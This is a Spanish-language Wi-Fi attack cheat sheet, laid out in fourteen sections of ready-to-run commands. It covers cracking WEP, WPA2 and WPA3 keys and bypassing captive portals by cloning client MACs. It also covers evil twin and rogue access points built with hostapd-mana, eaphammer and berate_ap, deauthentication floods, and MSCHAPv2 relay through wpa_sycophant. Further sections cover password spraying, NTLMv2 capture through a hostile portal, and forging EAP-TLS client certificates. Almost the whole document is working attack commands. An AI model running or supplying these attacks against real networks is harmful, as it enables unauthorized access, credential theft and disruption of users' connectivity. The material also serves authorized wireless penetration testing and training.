// 01

Recon & Interface Management

Gestión de Interfaces

Bash
# Configurar interfaz en un canal específico
iwconfig wlan0mon channel <CHANNEL>

# Deshabilitar el gestor de interfaces
sudo systemctl stop NetworkManager

# Verificar modo monitor
iwconfig

# Monitorizar con tcpdump
sudo tcpdump -i wlan0mon -w <OUTPUT_FILE>.cap

# Reactivar la interfaz
sudo ifconfig wlan0 up

Habilitar Modo Monitor

Bash
# Desactivar la interfaz
sudo ip link set wlan0 down

# Cambiar a modo monitor
sudo iwconfig wlan0 mode monitor

# Reactivar la interfaz
sudo ip link set wlan0 up

Cambiar Dirección MAC

Bash
# Establecer una MAC específica
sudo ifconfig wlan0 down
ip link set wlan0 down
ip link set dev wlan0 address <NEW_MAC>
ip link set wlan0 up

# Establecer una MAC aleatoria
sudo macchanger -r wlan0
sudo macchanger -m <NEW_MAC> wlan0
// 02

Aircrack-ng Suite

Modo Monitor & Comandos Básicos

Bash
# Activar modo monitor
sudo airmon-ng start wlan0

# Matar procesos que interfieren
sudo airmon-ng check kill

# Capturar paquetes
sudo airodump-ng wlan0mon

# Volver a modo gestionado
sudo airmon-ng stop wlan0mon

Inyección de Paquetes

Bash
# Probar soporte para inyección
sudo aireplay-ng --test wlan0

# Realizar inyección ARP replay
sudo aireplay-ng -3 -b <TARGET_BSSID> -h <YOUR_MAC> wlan0

Airodump-ng - Captura de Datos

Bash
# Iniciar captura de datos
sudo airodump-ng wlan0mon

# Escanear todo (2.4GHz + 5GHz)
sudo airodump-ng --band abg -w <OUTPUT_FILE> --gpsd wlan0mon

# Solo un canal específico
sudo airodump-ng -c <CHANNEL> -w <OUTPUT_FILE> wlan0mon

# Análisis completo con manufacturer y WPS
sudo airodump-ng wlan0mon -w <OUTPUT_FILE> --manufacturer --wps --band abg
// 03

Wi-Fi Analysis & Hidden Networks

Detección de Redes Ocultas

Bash
# Detectar con iwlist
sudo iwlist wlan0 scan

# Detectar con airodump-ng
sudo airodump-ng wlan0mon

# Brute force SSIDs ocultos con mdk4
mdk4 wlan0mon p -t <BSSID> -f <ESSID_DICTIONARY>

Wi-Fi DB - Base de Datos de Redes

Bash
# Crear base de datos desde capturas
python3 wifi_db.py -d database.sqlite <CAPTURE_DIR>/

# Abrir base de datos para análisis
sqlitebrowser database.sqlite
// 04

Cracking Passwords

Cracking WPA/WPA2-PSK

Bash
# Hashcat - modo 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 <HASH_FILE>.hccapx -a 0 -w 3 <WORDLIST>

# Aircrack-ng con wordlist
aircrack-ng -w <WORDLIST> -b <BSSID> <CAPTURE_FILE>.cap

# Aircrack-ng sin especificar BSSID
aircrack-ng -w <WORDLIST> <CAPTURE_FILE>.cap

Cracking MSCHAPv2 (Enterprise)

Bash
# Hashcat - MSCHAPv2 (NetNTLMv1)
hashcat -m 5500 <HASH_FILE> -a 0 -w 3 <WORDLIST>

# John the Ripper
john --format=netntlm <HASH_FILE>

Cracking NTLMv2 (Responder)

Bash
# Hashcat - NTLMv2
hashcat -a 0 -m 5600 <HASH_FILE> <WORDLIST> --force

Conversión de Formatos de Hash

Bash
# Convertir hccapx a formato 22000
hcxhash2cap --hccapx=<INPUT>.hccapx -c <OUTPUT>.pcap
hcxpcapngtool <OUTPUT>.pcap -o <HASH_FILE>.22000

# Convertir pcap a hash 22000
hcxpcapngtool <CAPTURE>.cap -o <HASH_FILE>.22000
// 05

OPN Attacks (Redes Abiertas)

Enumerar Redes Abiertas

Bash
# Enumerar redes
sudo airodump-ng wlan0

# Capturar tráfico de un AP específico
sudo airodump-ng --bssid <BSSID> --channel <CH> wlan0

Bypass de Portal Cautivo

Se identifica un portal cautivo al conectarse. Se deben listar clientes legítimos del AP para clonar su MAC y bypass la autenticación.
Bash
# Archivo de configuración para red abierta (open.conf)
network={
  ssid="<NETWORK_SSID>"
  key_mgmt=NONE
}

# Capturar tráfico para encontrar clientes legítimos
sudo airodump-ng wlan0mon -w <OUTPUT> --manufacturer --wps -c <CHANNEL>

# Clonar MAC de un cliente legítimo
systemctl stop network-manager
ip link set <IFACE> down
sudo macchanger -m <LEGIT_CLIENT_MAC> <IFACE>
ip link set <IFACE> up

# Conectarse con la MAC clonada
wpa_supplicant -i <IFACE> -c open.conf
sudo dhclient -v <IFACE>
// 06

WEP Attacks

Ataques Básicos WEP

Bash
# Autenticación falsa
aireplay-ng -1 0 -a <AP_MAC> -h <CLIENT_MAC> <IFACE>

# Ataque de repetición ARP (arpreplay)
aireplay-ng -3 -b <AP_MAC> -h <CLIENT_MAC> <IFACE>

# Ataque de desautenticación
aireplay-ng -0 1 -a <AP_MAC> -c <CLIENT_MAC> <IFACE>

Ataque Completo: Inyección + Captura

Bash
# 1. Habilitar modo monitor
sudo airmon-ng start wlan0

# 2. Monitorizar la red WEP
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w <OUTPUT> wlan0mon

# 3. Autenticación falsa para generar tráfico
sudo aireplay-ng -1 3600 -q 10 -a <BSSID> wlan0mon

# 4. Ataque ARP replay (en paralelo)
sudo aireplay-ng --arpreplay -b <BSSID> -h <YOUR_MAC> wlan0mon

# 5. Descifrar la contraseña
sudo aircrack-ng <OUTPUT>-01.cap

Método Rápido con besside-ng

Bash
# Método alternativo automático
airmon-ng check kill
besside-ng -c <CHANNEL> -b <BSSID> <IFACE> -v

Conexión a Red WEP

Bash
# Archivo wep.conf
network={
    ssid="<NETWORK_SSID>"
    key_mgmt=NONE
    wep_key0=<WEP_PASSWORD>
    wep_tx_keyidx=0
}

# Conectarse
wpa_supplicant -i <IFACE> -c wep.conf
dhclient <IFACE> -v

# Alternativa con nmcli
nmcli dev wifi connect "<NETWORK_SSID>" password "<WEP_PASSWORD>"
// 07

WPA/WPA2-PSK Attacks

Captura de Handshake + Desautenticación

Bash
# SHELL 1 - Capturar handshake
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon -w <OUTPUT> -c <CHANNEL>

# SHELL 2 - Forzar desautenticación
sudo aireplay-ng -0 10 -a <AP_BSSID> wlan0mon

# Si no funciona, especificar MAC del cliente
sudo aireplay-ng -0 10 -a <AP_BSSID> -c <CLIENT_MAC> wlan0mon

Cracking del Handshake

Bash
# Método 1: Aircrack-ng
sudo aircrack-ng <CAPTURE>.cap -w <WORDLIST>

# Método 2: Hashcat (más rápido con GPU)
sudo hcxpcapngtool <CAPTURE>.cap -o hash.22000
hashcat -a 0 -m 22000 hash.22000 <WORDLIST> --force

Descifrado de Tráfico WPA/WPA2-PSK

Bash
# Descifrar tráfico con contraseña conocida
sudo airdecap-ng -e <ESSID> -p <PASSWORD> <CAPTURE>.cap

# Inspeccionar con Wireshark
sudo wireshark <CAPTURE>-dec.cap

# Filtrar por HTTP para obtener cookies de sesión

Conexión a Red WPA/WPA2-PSK

Bash
# Archivo psk.conf
network={
    ssid="<NETWORK_SSID>"
    psk="<PASSWORD>"
    scan_ssid=1
    key_mgmt=WPA-PSK
    proto=WPA2
}

# Conectarse
wpa_supplicant -i <IFACE> -c psk.conf
sudo dhclient <IFACE> -v

Análisis de Clientes en la Misma Red

Bash
# Escanear la red para descubrir hosts y servicios
sudo nmap -sV <NETWORK_RANGE>

# Alternativa con arp-scan
arp-scan -I <IFACE> -l
// 08

Evil Twin - PSK

Se crea un AP falso (Fake AP) que simula la red objetivo. Cuando un cliente intenta conectarse, hostapd-mana captura el handshake para cracking offline.

Configurar Fake AP con hostapd-mana

Bash
# Archivo hostapd.conf
interface=<IFACE>
driver=nl80211
hw_mode=g
channel=<CHANNEL>
ssid=<TARGET_SSID>
mana_wpaout=hostapd.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678

# Iniciar el Fake AP
sudo hostapd-mana hostapd.conf

Cracking del Handshake Capturado

Bash
# Método 1: Hashcat directo (modo 2500 deprecado)
hashcat -a 0 -m 2500 hostapd.hccapx <WORDLIST> --force

# Método 2: Convertir a formato 22000
hcxhash2cap --hccapx=hostapd.hccapx -c aux.pcap
hcxpcapngtool aux.pcap -o hash.22000
hashcat -a 0 -m 22000 hash.22000 <WORDLIST> --force
// 09

WPA3-SAE Attacks

Fuerza Bruta Online contra WPA3-SAE

WPA3-SAE (Simultaneous Authentication of Equals) es resistente a ataques offline. Se requiere fuerza bruta online con herramientas como wacker.
Bash
# Capturar redes y crear base de datos
sudo airodump-ng wlan0 -w <OUTPUT_DIR>/ --gpsd
python3 wifi_db.py -d database.sqlite <OUTPUT_DIR>/

# Verificar frecuencia del AP
sudo iwlist wlan0 frequency | grep 'Channel <CH> :'

# Fuerza bruta con wacker
./wacker.py --wordlist <WORDLIST> --ssid <TARGET_SSID> --bssid <BSSID> --interface <IFACE> --freq <FREQ_MHZ>

Conexión a Red WPA3-SAE

Bash
# Archivo sae.conf
network={
    ssid="<TARGET_SSID>"
    psk="<PASSWORD>"
    key_mgmt=SAE
    scan_ssid=1
    ieee80211w=2
}

# Conectarse
sudo wpa_supplicant -i <IFACE> -c sae.conf
sudo dhclient -v <IFACE>

Downgrade + MiTM en Redes WPA2/WPA3

Redes con WPA+PSK, WPA-AES-CCM, WPA-SAE son vulnerables a downgrade. Se fuerza al cliente a conectarse por WPA2 en lugar de WPA3.
Bash
# Levantar AP falso forzando WPA2 (hostapd-sae.conf)
interface=<IFACE>
driver=nl80211
hw_mode=g
channel=<CHANNEL>
ssid=<TARGET_SSID>
mana_wpaout=hostapd.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678

# Ejecutar hostapd-mana
sudo hostapd-mana hostapd-sae.conf

# Desautenticar al cliente del AP legítimo (802.11w deshabilitado)
sudo iwconfig wlan0mon channel <CHANNEL>
sudo aireplay-ng wlan0mon -0 0 -a <AP_BSSID> -c <CLIENT_MAC>

# Convertir y crackear
hcxhash2cap --hccapx=hostapd.hccapx -c aux.pcap
hcxpcapngtool aux.pcap -o hash.22000
hashcat -a 0 -m 22000 hash.22000 <WORDLIST> --force
// 10

MGT Recon

Identity Harvesting (Captura de Identidades EAP)

En EAP-TTLS o PEAP, el cliente envía su identidad (usuario) en el mensaje EAP-Response/Identity ANTES del túnel TLS, exponiéndola a interceptación.
Bash
# Modo monitor y captura
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon -w <OUTPUT> --gpsd --band abg

# Capturar solo en el canal del objetivo
sudo airodump-ng wlan0mon -w <OUTPUT> -c <CHANNEL>

# Abrir captura en Wireshark y filtrar por EAP
# Filtro: eap para encontrar EAP-Response/Identity

Recolección de Certificados TLS

Ataque pasivo: captura certificados TLS transmitidos durante la fase inicial de autenticación para extraer información útil (CN, O, OU, etc.).
Bash
# Capturar tráfico del canal objetivo
sudo airodump-ng wlan0mon -w <OUTPUT> -c <CHANNEL>

# Extraer certificados con pcapFilter
bash pcapFilter.sh -f <CAPTURE>.cap -C

# Alternativa con Wireshark
# Filtro: (wlan.sa == <AP_MAC>) && (tls.handshake.certificate)

Enumeración de Métodos EAP

EAP_buster envía solicitudes de autenticación al AP con diferentes tipos de EAP (PEAP, EAP-TTLS, EAP-MD5, EAP-TLS) y registra cuáles son aceptados.
Bash
# Enumerar métodos EAP soportados
bash ./EAP_buster.sh <TARGET_SSID> '<DOMAIN>\<USER>' <IFACE>
// 11

MGT - Evil Twin & MiTM

Crear Certificado Falso para el AP

Bash
# Obtener campos del certificado original
bash pcapFilter.sh -C -f <CAPTURE>.cap

# Crear certificado falso con eaphammer
cd /root/tools/eaphammer
python3 ./eaphammer --cert-wizard

Levantar AP Falso (Evil Twin Enterprise)

Bash
# Levantar AP falso con eaphammer
python3 ./eaphammer -i <IFACE> --auth wpa-eap --essid <TARGET_SSID>

Desautenticar Clientes del AP Legítimo

Bash
# SHELL 1 - Deauth desde interfaz 1
sudo airmon-ng start wlan0
sudo iwconfig wlan0mon channel <CHANNEL>
sudo aireplay-ng -0 0 -a <AP_BSSID> wlan0mon -c <CLIENT_MAC>

# SHELL 2 - Deauth desde interfaz 2 (otro BSSID si existe)
sudo airmon-ng start wlan1
sudo iwconfig wlan1mon channel <CHANNEL>
sudo aireplay-ng -0 0 -a <AP_BSSID_2> wlan1mon -c <CLIENT_MAC>

Cracking de Credenciales MSCHAPv2

Bash
# Una vez el cliente se conecta al AP falso, se capturan hashes MSCHAPv2
# Formato: user::::challenge:response

# Crackear con hashcat
hashcat -a 0 -m 5500 <HASH_FILE> <WORDLIST> --force

Conexión a la Red con Credenciales Obtenidas

Bash
# Archivo de configuración PEAP
network={
    ssid="<TARGET_SSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="<DOMAIN>\anonymous"
    identity="<DOMAIN>\<USER>"
    password="<PASSWORD>"
    phase1="peapver=1"
    phase2="auth=MSCHAPV2"
}

# Conectarse
sudo wpa_supplicant -i <IFACE> -c <CONFIG_FILE>
sudo dhclient <IFACE> -v
// 12

MGT - Brute Force & Spraying

Fuerza Bruta con Air-Hammer

Bash
# Crear archivo de usuario
echo '<DOMAIN>\<USER>' > target.user

# Fuerza bruta con air-hammer
./air-hammer.py -i <IFACE> -e <TARGET_SSID> -p <WORDLIST> -u target.user

Password Spraying con Air-Hammer

Probar una única contraseña contra múltiples usuarios. Ideal para explotar contraseñas débiles compartidas.
Bash
# Crear diccionario de usuarios con dominio
cat <USERLIST> | awk '{print "<DOMAIN>\\" $1}' > users-domain.txt

# Password spraying con air-hammer
./air-hammer.py -i <IFACE> -e <TARGET_SSID> -P <PASSWORD> -u users-domain.txt

Password Spraying con EAPHammer

Bash
# Password spraying con múltiples interfaces
./eaphammer --eap-spray \
    --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
    --essid <TARGET_SSID> \
    --password <PASSWORD> \
    --user-list users-domain.txt \
    | grep -aE 'FOUND ONE|Trying credentials'
// 13

MGT - Relay Attacks

Explota protocolos challenge-response como MSCHAPv2. El atacante actúa como intermediario entre el cliente y el AP, reenviando desafíos y respuestas para autenticarse con el AP real.

Preparar MAC del AP Falso

Bash
# Cambiar MAC para simular AP legítimo
sudo systemctl stop network-manager
sudo airmon-ng stop wlan1mon
sudo ip link set wlan1 down
sudo macchanger -m <AP_MAC> wlan1
sudo ip link set wlan1 up

Configurar wpa_sycophant

Bash
# Archivo wpa_sycophant_example.conf
network={
    ssid="<TARGET_SSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    identity=""
    anonymous_identity=""
    password=""
    eap=PEAP
    phase1="crypto_binding=0 peaplabel=0"
    phase2="auth=MSCHAPV2"
    bssid_blacklist=<ROGUE_AP_MAC>
}

Ejecutar Relay Attack (3 Shells)

Bash
# SHELL 1 - Levantar Rogue AP con berate_ap
cd ~/tools/berate_ap/
./berate_ap --eap --mana-wpe --wpa-sycophant \
    --mana-credout outputMana.log \
    wlan1 lo <TARGET_SSID>

# SHELL 2 - Ejecutar wpa_sycophant para reenviar credenciales
cd ~/tools/wpa_sycophant/
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i <RELAY_IFACE>

# SHELL 3 - Desautenticar clientes del AP legítimo
sudo airmon-ng start wlan0
sudo iwconfig wlan0mon channel <CHANNEL>
sudo aireplay-ng -0 0 wlan0mon -a <AP_BSSID> -c <CLIENT_MAC>

Validar Conexión

Bash
# Cuando aparezca CTRL-EVENT-CONNECTED en wpa_sycophant
sudo dhclient <RELAY_IFACE> -v

Relay Attack - Active Directory (Cross-Network)

Aprovecha la diferencia en permisos entre redes menos seguras y más restringidas para escalar privilegios o acceder a recursos internos vinculados al mismo AD.
Bash
# Mismo proceso pero apuntando wpa_sycophant a la red restringida
# En el conf, cambiar ssid a la red con más permisos:
network={
    ssid="<RESTRICTED_SSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    identity=""
    anonymous_identity=""
    password=""
    eap=PEAP
    phase1="crypto_binding=0 peaplabel=0"
    phase2="auth=MSCHAPV2"
    bssid_blacklist=<ROGUE_AP_MAC>
}

# El Rogue AP emula la red menos segura
./berate_ap --eap --mana-wpe --wpa-sycophant \
    --mana-credout outputMana.log \
    wlan1 lo <LESS_SECURE_SSID>
// 14

MGT - Rogue AP & Certificates

Rogue AP + Captive Portal (Phishing)

La red principal usa EAP-TLS (certificados de cliente). Se identifican redes abiertas buscadas por clientes (Probes) y se simula un Rogue AP con portal cautivo.
Bash
# SHELL 1 - Crear AP malicioso con portal cautivo
cd ~/tools/eaphammer
sudo killall dnsmasq
./eaphammer --essid <PROBE_SSID> --interface <IFACE> --captive-portal

# SHELL 2 - Desautenticar al cliente
sudo iwconfig wlan0mon channel <CHANNEL>
sudo aireplay-ng -0 0 wlan0mon -a <AP_BSSID> -c <CLIENT_MAC>

# Credenciales aparecen en la consola de eaphammer

Rogue AP + Hostile Portal (Responder)

En lugar de solicitar credenciales directamente, se usa Responder para capturar hashes NTLMv2 al interactuar con servicios del portal hostil.
Bash
# SHELL 1 - Rogue AP con Hostile Portal
cd ~/tools/eaphammer
sudo killall dnsmasq
./eaphammer --essid <PROBE_SSID> --interface <IFACE> --hostile-portal

# SHELL 2 - Desautenticar al cliente
sudo airmon-ng start wlan0
iwconfig wlan0mon channel <CHANNEL>
aireplay-ng -0 0 wlan0mon -a <AP_BSSID> -c <CLIENT_MAC>

# Extraer y crackear hashes NTLMv2
cat logs/Responder-Session.log | grep NTLMv2 | grep Hash | awk '{print $9}' > responder.5600
hashcat -a 0 -m 5600 responder.5600 <WORDLIST> --force

Rogue AP con Certificados del AP Legítimo

Con acceso a los certificados del AP legítimo, se puede engañar a clientes que verifican el certificado del AP antes de conectarse.
Bash
# Importar certificados legítimos en eaphammer
cd /root/tools/eaphammer
python3 ./eaphammer --cert-wizard import \
    --server-cert <SERVER_CERT> \
    --ca-cert <CA_CERT> \
    --private-key <SERVER_KEY> \
    --private-key-passwd <KEY_PASSWORD>

# SHELL 1 - Levantar AP malicioso
python3 ./eaphammer -i <IFACE> --auth wpa-eap --essid <TARGET_SSID>

# SHELL 2 & 3 - Desautenticar clientes
sudo airmon-ng start wlan0
sudo iwconfig wlan0mon channel <CHANNEL>
sudo aireplay-ng -0 0 -a <AP_BSSID> wlan0mon -c <CLIENT_MAC>

Alternativa con berate_ap + Certificados

Bash
# Convertir certificados a formato PEM
openssl x509 -in ca.crt -out hostapd.ca.pem -outform PEM
openssl x509 -in server.crt -out hostapd.cert.pem -outform PEM
openssl rsa -in server.key -out hostapd.key.pem
openssl dhparam -out hostapd.dh.pem 2048

# Levantar Rogue AP con berate_ap
cd ~/tools/berate_ap/
./berate_ap --eap --mana-wpe --wpa-sycophant \
    --mana-credout outputMana.log \
    <IFACE> lo <TARGET_SSID> \
    --eap-cert-path <CERT_DIR>/

Generar Certificado de Cliente (EAP-TLS)

Con archivos del CA legítimo y un usuario conocido, se genera un certificado de cliente válido para conectarse directamente al AP legítimo.
Bash
# Generar clave privada del cliente
openssl genrsa -out client.key 2048

# Crear solicitud de firma (CSR)
openssl req -config client.conf -new -key client.key -out client.csr

# Firmar certificado con el CA
openssl x509 -days 730 -extfile client.ext \
    -CA ca.crt -CAkey ca.key -CAserial ca.serial \
    -in client.csr -req -out client.crt

Conexión con Certificado EAP-TLS

Bash
# Archivo wpa_tls.conf
network={
    ssid="<TARGET_SSID>"
    scan_ssid=1
    mode=0
    proto=RSN
    key_mgmt=WPA-EAP
    auth_alg=OPEN
    eap=TLS
    identity="<DOMAIN>\<USER>"
    ca_cert="./ca.crt"
    client_cert="./client.crt"
    private_key="./client.key"
    private_key_passwd="<KEY_PASSWORD>"
}

# Conectarse al AP con certificado
sudo wpa_supplicant -i <IFACE> -c wpa_tls.conf
sudo dhclient <IFACE> -v